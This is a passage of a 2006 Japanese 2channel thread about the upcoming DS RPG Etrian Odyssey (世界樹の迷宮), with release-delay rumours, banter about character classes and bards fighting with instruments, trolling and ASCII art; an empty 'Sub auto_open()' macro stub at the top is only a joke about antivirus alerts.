Sub auto_open()
???

609 :枯れた名無しの水平思考:2006/09/20(水) 16:15:39 ID:8JwI2Ff00
たまに発狂する人が居るのが世界樹スレクオリティなのか

610 :枯れた名無しの水平思考:2006/09/20(水) 16:36:59 ID:LuRfveuN0
こんなところでノートントラップ見るとはおもわなんだ

611 :枯れた名無しの水平思考:2006/09/20(水) 16:37:07 ID:x/M1UkOfO
おで娘はいないのか (´・ω・`)

612 :枯れた名無しの水平思考:2006/09/20(水) 16:56:57 ID:3ZcWPRO90
アンデット大量発生区つくれば
バードはレクイエム要員で出ずっぱりかも
【聖職者がいないわけだから】

613 :枯れた名無しの水平思考:2006/09/20(水) 17:18:13 ID:EMubfgk10
              __,__
             /:::}i::::::::\          _________________________
            ./:::;ィ-'-、::::::::::ゝ、_,      /            \
           /::::::|__  _>;;ヾ::::::z‐'   < クラウンレクイエム!|
         ノ゙{◎}ri|゙゚'l. ⌒ い::::::::ゝー-  \________/
        ハ. `ー' ヽ ワ/|リハヾ:::::::: 
        /lミト、   !、`- "::::::::::::::::::::
       /:l_丿:\/:::\:::::::::::::::::::::::
       /:::::::::::::/::\::::::::::::::::::::::::::::::ノ
       /:::::::::::::∧:::::::\:::::::::::::::::::::::{
      /::::::::::::/ ヽ::::::::::::::::::::::::::::::::::|
      |:::::::::::ノ   ト:::::::::::::::::::::::::::::::::ゝ


614 :枯れた名無しの水平思考:2006/09/20(水) 17:43:51 ID:raj5EIlE0
期待のルーキー10位に復活
発売日は2006年秋予定

615 :枯れた名無しの水平思考:2006/09/20(水) 17:45:32 ID:8JwI2Ff00
>>614
秋……か。

616 :枯れた名無しの水平思考:2006/09/20(水) 18:03:09 ID:MRSXpJgT0
新納の秋は長い

617 :枯れた名無しの水平思考:2006/09/20(水) 18:08:33 ID:fPbGLJGk0
俺たちの秋は始まったばかりだ!!

618 :枯れた名無しの水平思考:2006/09/20(水) 18:11:14 ID:+fnHpEJ1O
ずっと秋って表記の仕方だったっけ?ファミ通の方は。

619 :枯れた名無しの水平思考:2006/09/20(水) 18:12:14 ID:i9FUcKglO
キラークイーン・バイツァダスト
一年前に戻る

620 :枯れた名無しの水平思考:2006/09/20(水) 18:17:52 ID:kTHbxZXMO
>>619
神ID

621 :枯れた名無しの水平思考:2006/09/20(水) 18:46:08 ID:39eIRQnD0
プレ世界樹って事で雰囲気だけでも楽しもうと思って
SFC版のマイトアンドマジック2をみつけてきたけどなかなか良い感じ。
ちなみに戦闘シーンのレイアウトがそっくりだと思う(前衛×3、後衛×2)。
クリア不可能って噂だけど、やれるところまでやってみよう…。

622 :枯れた名無しの水平思考:2006/09/20(水) 19:05:55 ID:AfFUlsed0
楽しみのゲームの前に似たようなゲームやると
いざ本命ゲームやったときに喜びが薄れるってフリーザさんが言ってた

623 :枯れた名無しの水平思考:2006/09/20(水) 19:48:35 ID:39eIRQnD0
そっか…。まあすぐ詰まりそうだしほどほどになるであろう。

でも今これすごいおもしろい!インターフェースもそこそこ快適だし。やばいです。
元のPC版にくらべるとかなりライトなアレンジになってるけど
世界樹のプレイ感はちょうどこんなかんじかな…って妄想してます。



624 :枯れた名無しの水平思考:2006/09/20(水) 19:59:05 ID:2zqEXVvf0
難易度ではFC版MM1のほうがお勧めだ。
SFC版MM2は序盤を生き延びる苦労が全くない。


625 :枯れた名無しの水平思考:2006/09/20(水) 20:21:11 ID:9qfc7pIK0
暦の上では11月までが秋だ

626 :枯れた名無しの水平思考:2006/09/20(水) 20:24:54 ID:v5QFcnqg0
2007年1月25日(木)

627 :枯れた名無しの水平思考:2006/09/20(水) 20:56:17 ID:7H0VPXIL0
小売りへの通知で延期情報来たね

628 :枯れた名無しの水平思考:2006/09/20(水) 20:57:58 ID:8JwI2Ff00
店員スレでは見つからなかったんでソースを

629 :枯れた名無しの水平思考:2006/09/20(水) 21:03:54 ID:b4Sc1L3RO
つ脳内

630 :枯れた名無しの水平思考:2006/09/20(水) 21:13:52 ID:zlJOL6+K0
つくづく何を信じたらいいか分からなくなるスレだな。

631 :枯れた名無しの水平思考:2006/09/20(水) 21:29:48 ID:MRSXpJgT0
このスレの真実は、毎朝チュチュが書き込まれることだけ

632 :枯れた名無しの水平思考:2006/09/20(水) 21:32:07 ID:F5H2NWVd0
チュチュの人に聞きたい
何故わざわざ毎朝書き込こむのかと

633 :枯れた名無しの水平思考:2006/09/20(水) 21:51:34 ID:LuRfveuN0
パラディン♀たんは清楚かわいい

634 :枯れた名無しの水平思考:2006/09/20(水) 21:54:35 ID:zqsQZbms0
>>632
きっと本能だろう

635 :枯れた名無しの水平思考:2006/09/20(水) 22:06:03 ID:v5QFcnqg0
2007年1月25日(木)ではないです

636 :枯れた名無しの水平思考:2006/09/20(水) 22:47:05 ID:SWJ7B6Mk0
冬子萌えの人と言うと巡回してるスレがバレるキモヲタ

637 :枯れた名無しの水平思考:2006/09/20(水) 23:14:36 ID:NtlhKPEkO
(業界感覚での)秋発売

638 :枯れた名無しの水平思考:2006/09/20(水) 23:15:34 ID:sJxaTMvZ0
12/1までは待つ

639 :枯れた名無しの水平思考:2006/09/20(水) 23:20:15 ID:E40tw8Rq0
もう、駄目だな

640 :枯れた名無しの水平思考:2006/09/20(水) 23:21:35 ID:sJxaTMvZ0
上げながらそんなことを言われても煽りにしか見えない

641 :枯れた名無しの水平思考:2006/09/21(木) 00:05:20 ID:AsIVo+jB0
はぁ〜ん!メディック♀タソのおしりの穴がみたいよぉ〜

642 :枯れた名無しの水平思考:2006/09/21(木) 00:12:31 ID:g1f5biOG0
はぁ〜ん!パラディン♀タソのおしりの穴がみたいよぉ〜

643 :枯れた名無しの水平思考:2006/09/21(木) 00:16:35 ID:nPhy67ED0
メディック♀タソにおしりの穴なんて存在しないよ
パラディン♀タソは穴が開きっぱなしになってるよ

644 :枯れた名無しの水平思考:2006/09/21(木) 00:20:04 ID:uOcs14oK0
まあ、暫く出なくてもいいや。
GBのWiz全部買ったし、当分は遊べる。
世界樹は数年後の発売でも困らん。

せいぜいクオリティもっとマシになって発売される事を祈る。

645 :枯れた名無しの水平思考:2006/09/21(木) 00:20:56 ID:EF/oEjX00
これよりヴァルハラナイツのがおもろくね?

とかいたらGK扱いかなw

646 :枯れた名無しの水平思考:2006/09/21(木) 00:24:40 ID:unSJI6t10
そのゲームの宣伝もいい加減しつこいよ

647 :枯れた名無しの水平思考:2006/09/21(木) 00:25:00 ID:73qRTb1u0
ハードが違うんだから、そもそも比較する意味がないじゃないか。
と釣られてみる

648 :枯れた名無しの水平思考:2006/09/21(木) 00:27:18 ID:3EStJmEl0
上級職の概念はあるんだっけ?

649 :枯れた名無しの水平思考:2006/09/21(木) 00:28:09 ID:nPhy67ED0
ないお

650 :枯れた名無しの水平思考:2006/09/21(木) 00:28:39 ID:g1f5biOG0
上級職とか萎えるしね

651 :枯れた名無しの水平思考:2006/09/21(木) 00:30:32 ID:5RhDUwv90
上級アナル

652 :枯れた名無しの水平思考:2006/09/21(木) 00:39:03 ID:mfR9WHVI0
通り名とかはあるのかな?
逃げまくってるとへたれとか特定の敵ころしまくってると〜殺しとか

653 :枯れた名無しの水平思考:2006/09/21(木) 00:47:15 ID:J2XNitw+0
ベタだけど、クリア後に称号が付くとかはありそう。

654 :枯れた名無しの水平思考:2006/09/21(木) 00:58:34 ID:qoKTU4QW0
10月中旬に旅行行く際これ買ってもって行こうと思っていたんだが
このままだと無理っぽい?

655 :枯れた名無しの水平思考:2006/09/21(木) 01:00:39 ID:dPc9w4Ne0
旅行を延期すりゃ無問題

656 :枯れた名無しの水平思考:2006/09/21(木) 01:05:43 ID:uOcs14oK0
旅行中ゲームしてる奴って持ったいねえな。
車中から風景を楽しむのも旅行のうちだろうに。

657 :枯れた名無しの水平思考:2006/09/21(木) 01:06:50 ID:dPc9w4Ne0
旅行自体が一種のゲームだし
あ、俺いいこと言った

658 :枯れた名無しの水平思考:2006/09/21(木) 01:08:25 ID:qoKTU4QW0
>>655-656
ごめん言い方悪かったわ、とあるイベントがあって東京に行くだけなのよ
それで夜行バスに乗ったり宿泊先で時間潰したいからこれ買おうと思ってたんだけどなぁ・・・

659 :枯れた名無しの水平思考:2006/09/21(木) 01:19:40 ID:lh7NgJd60
前mixiに新納いたのに
辞めたのか?

660 :枯れた名無しの水平思考:2006/09/21(木) 01:25:44 ID:ObstvlwSP
今更だが、「もむううぱいを」ってすごいIDだ。

661 :枯れた名無しの水平思考:2006/09/21(木) 02:46:13 ID:tNK70ig+0
>>646
結構面白いよ。
PSP持ってないから認めたくないんだろうけど。


662 :枯れた名無しの水平思考:2006/09/21(木) 02:46:58 ID:477PE0CW0
そーゆー話題はよそでやれ

663 :枯れた名無しの水平思考:2006/09/21(木) 04:06:54 ID:tNK70ig+0
別にいいじゃない。
他にはキャラくらいしか話題ないんだしさ。

664 :枯れた名無しの水平思考:2006/09/21(木) 04:14:52 ID:sH+iKfjy0
>>663
話題が無いからってメーカー、ジャンル、機種すら違うゲームの話題はいらん
とっとと巣に帰ってください

665 :枯れた名無しの水平思考:2006/09/21(木) 04:33:38 ID:CGwfhpNC0
スルーしろ。

666 :枯れた名無しの水平思考:2006/09/21(木) 04:58:37 ID:tNK70ig+0
            ___
          ./    \
          .| ^   ^ |   <あまり私を怒らせない方がいい
          | .>ノ(、_, )ヽ、.|
         __! ! -=ニ=- ノ!_
       .| ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄|
   ,. -‐ '|        n        .    |
  / :::::::::::|        | |           |__
  / :::::::::::::|       i「|^|^ト         rニ-─`、
. / : :::::::::::::|       |: ::  ! }        `┬─‐ .j
〈:::::::::,-─┴-、     ゙ヽ  ,イ          |二ニ イ
. | ::/ .-─┬⊃    ../   /         ..|`iー"|
.レ ヘ.  .ニニ|_____________|rー''"|
〈 :::::\_ノ::::::::::::::::::::::::::::::::::::::::::::::::::::::: |:::::::: /::::::::::::|

667 :枯れた名無しの水平思考:2006/09/21(木) 06:11:36 ID:UCtWGe0j0
NGID:tNK70ig+0

668 :枯れた名無しの水平思考:2006/09/21(木) 06:44:44 ID:O0EK+bo40
ID変えましたから。また登録しなおしてね。
じゃあ、いつもの。

はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜

669 :枯れた名無しの水平思考:2006/09/21(木) 06:46:53 ID:UCtWGe0j0
チュチュの人のイメージが崩壊しました

670 :枯れた名無しの水平思考:2006/09/21(木) 07:27:37 ID:EH7uN65W0
チュチュ職人を装ったテロ

671 :枯れた名無しの水平思考:2006/09/21(木) 07:30:48 ID:sL/dPE110
はぁ〜ん!チュチュ職人とチュチュしたいよぉ〜

672 :枯れた名無しの水平思考:2006/09/21(木) 07:37:05 ID:ArnnBW+SO
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜

673 :枯れた名無しの水平思考:2006/09/21(木) 08:23:04 ID:ZSfbVK/a0
このゲームは駄作決定してるよ。
何故なら、このゲームが最も期待されたのは何だ?

マッピングシステムやDSに少ない本格的RPGというジャンルもだが、
なによりWIZを今に作り直すと言うコメントじゃなかったろうか?
だからこそのマッピングだし、RPGだし、それらはこの言葉を彩る物だった。

よくWIZ、WIZという言われるが、そんなに神格視するほどの物でもないんだよ。
かつては人気があったが、以降の零落っぷりは凄まじいし。
もっとも、だからこそ今に作り直すという言葉に大きな魅力を感じたのだが。

ところがどっこい、その発言を以降に新納タソは撤回しちゃってるんだな。
一度は言っちゃった言葉だし、撤回したとはいえその言葉は嘘ではないと思う。
そういう設計思想だったんだと思う。
それを撤回しちゃうということは、開発者の思想が開発段階から敗れたという事。
既に失敗作であるというわけだ。

失敗確定しちゃってる作品が面白いわけがない。
多少の見るべき所はあるかもしれないが、駄作であることは決定的。

674 :枯れた名無しの水平思考:2006/09/21(木) 08:29:45 ID:NDrrkj6j0
>>673
論拠が浅いなぁ
最初目指していた物より、発展したか退化したかでその文は全く逆の結論に至ってしまう。
その辺を調査してから書き直しだな。

675 :枯れた名無しの水平思考:2006/09/21(木) 08:35:45 ID:EmGTbY4QO
wiz作るって言ったのに撤回したから糞ゲ、
ってだけの内容の文章を何故そこまで長文にする意味があるのか。
どういうツラしてキーボード叩いてんだよ。
しかしもう本当に話題がないな。明日の更新も期待できんし。

676 :枯れた名無しの水平思考:2006/09/21(木) 08:56:53 ID:r7P2U0Fd0
宇田には■eのFM広報のような遊び後ごろは無いのだろうか?

677 :枯れた名無しの水平思考:2006/09/21(木) 09:01:16 ID:6hG5CXQI0
>>675
更新が少ないのはいつものアトラスのことだからキニスンナ
話題がないと思ってもなんだかんだで進んでるんだからキニスンナ

678 :枯れた名無しの水平思考:2006/09/21(木) 09:28:48 ID:7KcvqLzcO
1このゲームが期待された理由は、WIZを今に作り直すと言うコメントのためであると思われる
2その発言は設計思想であると思われる
3しかしその発言を新納は撤回している
4開発者の思想が開発段階から敗れたので失敗作である

故にこのゲームは駄作である

まとめてみるとひどいですね

679 :枯れた名無しの水平思考:2006/09/21(木) 10:23:49 ID:Sf+r/8n60
撤回したのは、Wizという言葉が人歩きしすぎるからなんだけどな。
このスレでも話されている、キャラデザ合ってないとかって話がその典型。

このゲームは、アトラスが作った新シリーズの世界樹の迷宮であってWizじゃない。
合ってないって、新シリーズのゲームで何と比較して合ってないんだよ?って話だ。
シリーズがある程度続いていていきなりキャラデザが変わったから騒ぐのなら理解
できるがな。

俺は、新シリーズを立ち上げようとしている時に制作者が他のゲームを引き合いにだして
云々言うのは間違っていると思うが、多分当人達もそう感じたからこそ撤回したんだろう。

だけど根底にある設計思想に変更はないさ。
だから、システム、キャラデザ、音楽も含めて期待して発売日を待っている。

680 :枯れた名無しの水平思考:2006/09/21(木) 10:28:38 ID:O0EK+bo40
早く出せよ。
せっかく買ったDS、やるゲーム一つもない。

FF3はつまらなくはないが途中で飽きた。

681 :枯れた名無しの水平思考:2006/09/21(木) 11:05:11 ID:kfbUmwko0
>>680
もぎチンかポケモンでも買っとけ

682 :枯れた名無しの水平思考:2006/09/21(木) 11:22:56 ID:gx1JflPQO
FF3に耐えきれなかった人がこのゲームに耐えきれるのだろうか
クラスのバランスとかはこっちのがきつそうだし

683 :枯れた名無しの水平思考:2006/09/21(木) 11:39:18 ID:EmGTbY4QO
680は難しかったとかじゃなくてただ飽田だけだと思うが。
俺もクリアする前に飽きてやめたゲームは数知れず。

684 :枯れた名無しの水平思考:2006/09/21(木) 11:45:30 ID:O0EK+bo40
>>682
Wizは遊べるから問題ない。

685 :枯れた名無しの水平思考:2006/09/21(木) 11:48:05 ID:dPc9w4Ne0
ID:O0EK+bo40登録完了。

686 :枯れた名無しの水平思考:2006/09/21(木) 11:59:26 ID:/Wn+GWTOO
話題がなくてもスレを進めなきゃ気が済まないなんて
まるでスパスレの住人ですね

687 :枯れた名無しの水平思考:2006/09/21(木) 12:01:37 ID:NAsJdNgr0
ん?
またID替えたがどうかしたか?

無駄な作業とご報告、お疲れ様。

688 :枯れた名無しの水平思考:2006/09/21(木) 12:03:42 ID:gR+zZklj0
粘着きんもーっ☆

689 :枯れた名無しの水平思考:2006/09/21(木) 12:04:45 ID:EmGTbY4QO
世界樹は戦闘でのメンバー入れ替えやスキル選択を状況に応じて考える楽しさがありそうだから
飽きずに最後までできそうかな。
素材拾って店で購入できるアイテムを増やしていったりするのも楽しみ。

690 :枯れた名無しの水平思考:2006/09/21(木) 12:06:24 ID:CFPPxq7n0
       ____
     /      \
   /  _ノ  ヽ、_  \    もう秋なのに
  / o゚((●)) ((●))゚o \  いつになったら新ネタでるんだお…
  |     (__人__)    |
  \     ` ⌒´     /
建前
──────────────────
本音
  /      ,,-‐'、      \
  |     | |  |      |
  |     | |  |      |   まだ全然できてないんだおwwww
  |     | |  |      |
  |     | |  |      |
  |     |r┴-|      |   おっさんゲーマー煽って楽しんでやるおwwwwww
  \::::::⌒(~~人~~)⌒::::: /
   o。((●)) ((●))。o
     \~ノ  ヽ´~/
        ̄ ̄ ̄

691 :枯れた名無しの水平思考:2006/09/21(木) 12:09:27 ID:IL8RH2HM0
長く遊べるゲームがいい
携帯機でちまちまやるのが昔から好きだったけど
どうにもボリュームが足らないとずっと思ってたから

692 :枯れた名無しの水平思考:2006/09/21(木) 12:13:13 ID:JAciv7F40
情報が無さ過ぎるんだよ・・・
雑談するしかないよ・・・

693 :枯れた名無しの水平思考:2006/09/21(木) 12:14:39 ID:s625RXyx0
ID登録とか言っちゃってる馬鹿www

694 :枯れた名無しの水平思考:2006/09/21(木) 12:16:52 ID:s625RXyx0
多分言っちゃってんのおっさんだよな。かわいそう(´;ω;`)ウッ…
wwwww

695 :枯れた名無しの水平思考:2006/09/21(木) 12:19:22 ID:CFPPxq7n0
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜

696 :枯れた名無しの水平思考:2006/09/21(木) 12:23:43 ID:EmGTbY4QO
ID変えてまで煽るのに必死になってる人ってのもなんだかなぁ

697 :枯れた名無しの水平思考:2006/09/21(木) 12:35:34 ID:CFPPxq7n0
          ____   
       / \  /\ キリッ
.     / (ー)  (ー)\      
    /   ⌒(__人__)⌒ \   >ID変えてまで煽るのに必死になってる人ってのもなんだかなぁ…
    |      |r┬-|    |
     \     `ー'´   /
    ノ            \
  /´               ヽ              
 |    l              \
 ヽ    -一''''''"~~``'ー--、   -一'''''''ー-、.    
  ヽ ____(⌒)(⌒)⌒) )  (⌒_(⌒)⌒)⌒))


          ____
        /_ノ  ヽ、_\
 ミ ミ ミ  o゚((●)) ((●))゚o      ミ ミ ミ      あんたみたいのがいちいち反応するからだおwww
/⌒)⌒)⌒. ::::::⌒(__人__)⌒:::\   /⌒)⌒)⌒)     なんでおっさんはスルーができないんだおwwwww
| / / /     |r┬-|    | (⌒)/ / / //
| :::::::::::(⌒)    | |  |   /|^| ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄|
|     ノ     | |  |   \| |             |  “黙って”NG登録すりゃ済むだけだおwwwwww
ヽ    /     `ー'´     | |            |
 |    |   l||l 从人 l||l   | |     VAIO     |
 ヽ    ---一ー_~、⌒)、⌒)^),|_|              |
  ヽ _____,ノ|____|_|____________|


698 :枯れた名無しの水平思考:2006/09/21(木) 12:36:39 ID:/GgXKthw0
多分、登録と言いつつ実際は何もしてないんだろな

699 :枯れた名無しの水平思考:2006/09/21(木) 12:37:06 ID:s625RXyx0
あぁ、俺は>684、>687とは別人だよ。
>673なんだけどよ。
673からID変わってないと思ってたから、
同じIDで煽ってやったら複数いるってアピールできて面白いのになぁと思って書き込みしたんだけど、
変わってたわ(´・ω・`)

いや、しかし、>685みたいなあんまり間抜けまもは、馬鹿にしたくなるんだよwww

700 :枯れた名無しの水平思考:2006/09/21(木) 12:38:14 ID:s625RXyx0
で、見事に単発IDwwww
必死にID変えてんだろうなwwww
ほんと滑稽だよwwwww

701 :枯れた名無しの水平思考:2006/09/21(木) 12:39:16 ID:dPc9w4Ne0
普通に登録してるよ
右クリックするだけだから楽だし

702 :枯れた名無しの水平思考:2006/09/21(木) 12:40:55 ID:s625RXyx0
ID:dPc9w4Ne0

今日の愉快な人は君た〜〜〜〜っ!www

703 :枯れた名無しの水平思考:2006/09/21(木) 12:41:49 ID:s625RXyx0
登録したかな?登録したかな?ww
したらちゃんと報告してね〜〜〜wよ〜く登録できましたって褒めてあげるwwwww

704 :枯れた名無しの水平思考:2006/09/21(木) 12:42:11 ID:ADTg+CKz0
付ける薬がないな

705 :枯れた名無しの水平思考:2006/09/21(木) 12:42:56 ID:/GgXKthw0
黙ってるだけでとっくに登録してるんじゃね?

706 :枯れた名無しの水平思考:2006/09/21(木) 12:43:01 ID:Zq8DPAMz0
>>704
ヒールゼリーでもどうぞ。

707 :枯れた名無しの水平思考:2006/09/21(木) 12:44:25 ID:CFPPxq7n0
ネタがないからとは言え、いい加減この辺にしておくか。

日課のチュチュしたいよお〜だけにしとくわ。

708 :枯れた名無しの水平思考:2006/09/21(木) 12:46:29 ID:s625RXyx0
>>705
(´・ω・`)
からかい甲斐の無い奴だ。


まぁ、おっさんも落ち着いたみたいだし、俺もそろそろこのへんかな。

709 :枯れた名無しの水平思考:2006/09/21(木) 12:47:16 ID:CFPPxq7n0
公式で延期発表されたら、m9(^Д^)プギャーしてやるよ。


710 :枯れた名無しの水平思考:2006/09/21(木) 12:53:36 ID:TOYPXWY30
明日の更新はどのキャラが来るかねえ・・・。

711 :枯れた名無しの水平思考:2006/09/21(木) 12:57:01 ID:EmGTbY4QO
キャラより宇田がなんて言うかの方が気になるかな。
キャラグラが未出のキャラは最後まで引っ張る予感。

712 :枯れた名無しの水平思考:2006/09/21(木) 12:58:58 ID:v8DNGrjD0
昔のキッツイゲームもあの音の為に遊んでたんだ
あのノリをまた体感できるなら多少の難があっても許す。
だからとっとと古代サウンド聞かせて欲しい。
久しぶりに所有ハードであの音が聞けるかもってwktk

713 :枯れた名無しの水平思考:2006/09/21(木) 13:02:17 ID:i3C0jGEB0
古代のでキツイゲームなんてない。

714 :枯れた名無しの水平思考:2006/09/21(木) 13:04:33 ID:TOYPXWY30
普通に更新のお知らせ+来週の更新をお楽しみに! の予感が。

既に絵が出てるのとなると、バード♀ あたりかな>明日のキャラ更新

715 :枯れた名無しの水平思考:2006/09/21(木) 13:21:20 ID:EmGTbY4QO
バードなら味方支援以外の要素を何かほのめかして欲しいな。
ところでバードが普通に敵を攻撃するとなるとどうなるんだ?
音で攻撃か。まさか楽器で殴るのか?

716 :枯れた名無しの水平思考:2006/09/21(木) 13:54:41 ID:s625RXyx0
>>715
必殺技は、マッハの速さでギターのパンチで打ち倒す。

717 :枯れた名無しの水平思考:2006/09/21(木) 13:56:56 ID:JnVsGTAo0
>>715
白いギターで後頭部を一撃。

718 :枯れた名無しの水平思考:2006/09/21(木) 13:57:25 ID:10wJ/NztO
本で殴るゲームもあるぐらいだしね。

フルートで殴っても痛くなさそうだが、コントラバスあたりだと凄く痛そうだ・・・


719 :枯れた名無しの水平思考:2006/09/21(木) 14:16:16 ID:CinJ/cXw0
そうび:まっはたたき

720 :枯れた名無しの水平思考:2006/09/21(木) 14:18:05 ID:Ko9FWhnO0
ガイシャの傍に凹んだマンドリンがあり血が付着している
どうやらこれが凶器のようだ。

、、、しかし なぜ マンドリン ?

721 :枯れた名無しの水平思考:2006/09/21(木) 14:24:13 ID:5bxqTpF40
>>712
オープニングがソーサリアンでダンジョン内がベアナックル2とかね!


722 :枯れた名無しの水平思考:2006/09/21(木) 14:31:51 ID:EmGTbY4QO
ピアノミサイル!

723 :枯れた名無しの水平思考:2006/09/21(木) 14:42:53 ID:vEX2L9mEO
SATSUGAIせよ!

724 :枯れた名無しの水平思考:2006/09/21(木) 14:45:59 ID:ZGTackVGO
三味線の弦で縛り殺したりするんじゃないか?

725 :枯れた名無しの水平思考:2006/09/21(木) 14:47:46 ID:ZGTackVGO
そういや、シンバルで敵を叩く楽士なんてのもいたな。
太鼓から光線が出たり、トランペットから爆弾が出るんだよwww

726 :枯れた名無しの水平思考:2006/09/21(木) 14:50:51 ID:ZGTackVGO
敢えて楽器でなくて詩を書くための紙とペンや、詩集で攻撃するというのもありかもしれん。


ていうか、普通にナイフで刺した方がいいだろ。そんな珍妙なもんで殴らんでも。

727 :枯れた名無しの水平思考:2006/09/21(木) 14:53:13 ID:ZGTackVGO
あ、攻撃に使う楽器と言えば忘れちゃいけないものを、うっかり忘れてたぜ。


マ ラ カ ス

仮面ライダーやクレヨンしんちゃんも使ってる由緒正しき冒険の友!

728 :枯れた名無しの水平思考:2006/09/21(木) 14:56:03 ID:ZGTackVGO
縁日で売ってる、先に紙のついた笛とか。
ぴゅーいって伸ばして敵を攻撃するの。


729 :枯れた名無しの水平思考:2006/09/21(木) 14:58:58 ID:225OCYia0
マラカスグレネードとかトルネードシンバルとか
まぅー

730 :枯れた名無しの水平思考:2006/09/21(木) 15:01:12 ID:gx1JflPQO
トライアングルジェノサイダー!

731 :枯れた名無しの水平思考:2006/09/21(木) 15:02:27 ID:QxFhw2s/0
>>728
ようエビス丸

732 :枯れた名無しの水平思考:2006/09/21(木) 15:03:05 ID:7KcvqLzcO
タンバリンだかシンバルだかドラムだか知らないが、そんなもの使えたら大魔王になれる

733 :枯れた名無しの水平思考:2006/09/21(木) 15:03:34 ID:/Wn+GWTOO
ラスボスの弱点は歌

734 :枯れた名無しの水平思考:2006/09/21(木) 15:04:06 ID:CinJ/cXw0
まあ常識で考えたら謡う時だけ楽器に換えて、
普段はナイフかショート・ソードだろうなぁ…

まさかバサラみたいな方法で攻撃するわけにもいくまいてw

735 :枯れた名無しの水平思考:2006/09/21(木) 15:04:48 ID:mfR9WHVI0
ジャイアン並の歌唱力で敵を殲滅するのかもしれん

736 :枯れた名無しの水平思考:2006/09/21(木) 15:18:53 ID:YyNBS2f1O
仲間までダメージが

737 :枯れた名無しの水平思考:2006/09/21(木) 15:40:36 ID:TOYPXWY30
音楽で敵を倒すと言えばやhりハーメルンのバイオリン弾きを一番に思い出すなぁ。
>>729
一緒にスグリスレに帰ろう、な?

738 :枯れた名無しの水平思考:2006/09/21(木) 15:41:24 ID:10wJ/NztO
海の魔物すら蹴散らした実績を持つジャイアン


739 :枯れた名無しの水平思考:2006/09/21(木) 15:42:14 ID:CinJ/cXw0
まじんのマイクは最終兵器。でもあれは良く味方がダメージ食らわないなと

740 :枯れた名無しの水平思考:2006/09/21(木) 15:56:36 ID:6hG5CXQI0
なぜコレが出ない
つギターケース

741 :枯れた名無しの水平思考:2006/09/21(木) 16:16:43 ID:Gd+Y42HA0
技名を入力するとそれをボイス付きで歌ってくれる

742 :枯れた名無しの水平思考:2006/09/21(木) 16:18:04 ID:QUV9snZjO
クラウザーさんの「地獄のギター」なら火竜ぐらい余裕で撲殺できるよ

743 :枯れた名無しの水平思考:2006/09/21(木) 16:19:52 ID:qy959BkV0
マロ、マロじゃないか。

744 :枯れた名無しの水平思考:2006/09/21(木) 17:44:26 ID:Eu7syn+M0
久々に覗いたらブシドー♀出てるじゃん
しかも三白眼じゃないか・・・
俺の願いがカナッタ━━━━(゚∀゚)━━━━!!

745 :枯れた名無しの水平思考:2006/09/21(木) 18:37:13 ID:r2Z/Rsos0
>>744
久しぶりすぎw
お前がいない間にいろいろあったぞ

746 :枯れた名無しの水平思考:2006/09/21(木) 18:40:49 ID:U9Q792yK0
たいていの人にとってはどうでもいいキャラ絵が数体紹介されただけじゃないか。

なんの進展もないよ。

747 :枯れた名無しの水平思考:2006/09/21(木) 18:42:01 ID:7KcvqLzcO
チュチュが爆弾抱えて世界樹に飛び込んだ時はどうなるかと思ったね

748 :枯れた名無しの水平思考:2006/09/21(木) 18:44:10 ID:r2Z/Rsos0
いや、10月に発売するとかしないとk…

ごめん、やっぱこの話はやめるわ

749 :枯れた名無しの水平思考:2006/09/21(木) 18:47:26 ID:7KcvqLzcO
>748
アリスSOS!乙

750 :枯れた名無しの水平思考:2006/09/21(木) 18:49:52 ID:Zq8DPAMz0
アリスと聞いたら俺はべべぼーとしか言えない。

751 :枯れた名無しの水平思考:2006/09/21(木) 18:49:57 ID:8daMKNP80
スレ進んでるから何か動き来たー?とか思ったら(以下略


もう疲れた……

752 :枯れた名無しの水平思考:2006/09/21(木) 18:52:05 ID:UCtWGe0j0
乾いた大地は 心痩せさせる

753 :枯れた名無しの水平思考:2006/09/21(木) 19:05:12 ID:xMfv1ixj0
そうだね。
そして世界樹も枯れ果てたね。

754 :枯れた名無しの水平思考:2006/09/21(木) 19:46:34 ID:qy959BkV0
=ァ「せかいじゅのは」

755 :枯れた名無しの水平思考:2006/09/21(木) 19:47:25 ID:6hG5CXQI0
ネガキャンが定期的に湧く。それが世界樹スレ

756 :枯れた名無しの水平思考:2006/09/21(木) 19:51:45 ID:mfR9WHVI0
それなりに注目されてる証さ

757 :枯れた名無しの水平思考:2006/09/21(木) 19:55:03 ID:pdBCOOng0
律儀に反応する愚か者がいるから居付くんだよ

758 :枯れた名無しの水平思考:2006/09/21(木) 20:05:28 ID:kNKQsyn10
否定的な意見は全部ネガキャンとして片づける
便利だね

このゲーム最高に面白い!
発売されてないけど発売されそうってだけで面白いってわかる!
DSだし!
たぶん世界で一番面白くて2億本くらい初日に売れると思う!

759 :枯れた名無しの水平思考:2006/09/21(木) 20:09:59 ID:UCtWGe0j0
「異質なもの」を排除したがるのが日本人の性だってばっちゃがいってた

760 :枯れた名無しの水平思考:2006/09/21(木) 20:11:23 ID:8daMKNP80
そういうレベルの話じゃないと思う

761 :枯れた名無しの水平思考:2006/09/21(木) 20:12:57 ID:nPhy67ED0
なんか今日はニートどもが無意味に元気だったんだな

762 :枯れた名無しの水平思考:2006/09/21(木) 20:25:57 ID:yk/xnpF/O
どうせ2、3万くらいしか売れないだろうから余所行きゃいいのに。

763 :枯れた名無しの水平思考:2006/09/21(木) 21:02:53 ID:M6swQe9Y0
店員スレより転載

484 名前:名無しさん必死だな[sage] 投稿日:2006/09/21(木) 20:23:58 ID:dOkEbr2D
世界樹の迷宮って受注きました??
今の時点で来てないとすると10月中発売は難しいですか?

497 名前:名無しさん必死だな[sage] 投稿日:2006/09/21(木) 20:55:42 ID:DgoD9pCV
   ∩___∩ 
   | ノ  ノ ヽ、 ヽ  
  /  ●   ● |      
  |     ( _●_) ミ    
 彡、  /⌒)(⌒ヽ/       
  ./  /  / \  ヽ      
  l    ノ    `ー‐'

>>484
今は11月発売の受注が来てるクマ=10月中に出る事はないクマ
むしろ10月中に締め切り案内が来ないと来年発売が濃厚クマ

764 :枯れた名無しの水平思考:2006/09/21(木) 21:05:35 ID:JimDQ7ML0
トリップすらない件

765 :枯れた名無しの水平思考:2006/09/21(木) 21:07:24 ID:Vt4bsBMD0
クマ氏は鳥無しがデフォです

